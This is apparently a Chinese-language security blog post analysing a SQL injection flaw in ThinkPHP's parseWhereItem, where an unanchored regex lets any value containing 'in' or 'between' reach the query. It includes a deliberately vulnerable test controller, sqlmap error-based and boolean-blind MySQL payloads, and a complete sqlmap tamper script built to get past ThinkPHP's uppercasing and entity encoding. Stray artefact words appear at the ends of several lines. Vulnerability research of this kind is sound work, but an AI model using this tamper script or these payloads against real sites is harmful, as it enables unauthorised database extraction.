Author:m3d1t10nphp
前兩天看到phithon大大在烏雲發的關於ThinkPHP的漏洞,想看看是什麼緣由形成的。惋惜尚未公開,因而就本身回來分析了一下。mysql
0x00官方補丁(DB.class.php parseWhereItem($key,$val))
注意紅色框框起來的部分
sql
0x01分析thinkphp
1
2
3
|
preg_match('/IN/i',$val[0]) //該正則沒有起始符和終止符,xxxxinxxxxx等任意包含in的字符串均可以匹配成功,於是構成了注入
preg_match('/BETWEEN/i',$val[0]) //同上
|
0x02驗證express
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
class IndexAction extends Action {
public function index(){
$user = I("param.user");
$pass = I("param.pass");
$where["user"] = $user;
$where["pass"] = $pass;
var_dump($where);
$model = M("user");
$data = $model->where($where)->select();
echo $model->getLastSql(); // 打印sql語句
echo "<br/>";
var_dump($data); // 打印數據
die(mysql_error()); // 打印錯誤
|
0x03編寫支持此注入的tamper (支持mysql)
3.1因爲php中有這樣一段話,會將咱們插入的語句全變成大寫,因此咱們要將payloa作一個轉換測試
1
|
$whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')';
|
3.2sqlmap mysql error based 注入語句編碼
1
2
|
AND (SELECT 8080 FROM(SELECT COUNT(*),CONCAT(0x3a7a61623a,(SELECT (CASE WHEN (QUARTER(NULL) IS NULL) THEN 1 ELSE 0 END)),0x3a6c697a3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
/**其中的0x3a7a61623a等十六進制字符會由於x變成大寫而報錯,因此咱們須要將他們匹配出來變成小寫的 **/
|
3.3sqlmap myql boolean blind 注入語句spa
1
2
3
4
5
6
7
8
9
10
11
12
13
|
AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>51
payload = "ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))"
num = 51
/**
由於>會被thinkphp進行實體編碼,因此咱們須要將整條語句換成
floor(payload / num.5)
例如:
52>51==1 爲真
floor(52/51.5)==1 爲真
51>51==0 爲假
floor(51/51.5)==0 爲假 **/
|
3.4最後的tamper代碼3d
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
#__author__ = 'm3d1t10n'
import re
import binascii
#f = open("out.dat","w")
def tamper(payload, **kwargs):
d = {"ror":"rand","and":"or"}
#f.write(payload+"\n")
t = re.findall('(0x\w+)',payload.lower())
for expression in t:
d[expression] = "lower('%s')" % binascii.unhexlify(expression[2:])
for key in d:
payload = payload.lower().replace(key,d[key])
prefix = "in%20(%27xxx%27))%20"
subfix = "%20--%20"
payload
payload = prefix + payload + subfix
t = re.findall('or (.+)>(\d+)',payload.lower())
#print payload
if t:
payload = payload.replace(t[0][0]+'>'+t[0][1],"ceil(floor(%s/%s.5))"%(t[0][0],t[0][1]))
#print payload
#f.write(payload+"\n")
return payload
|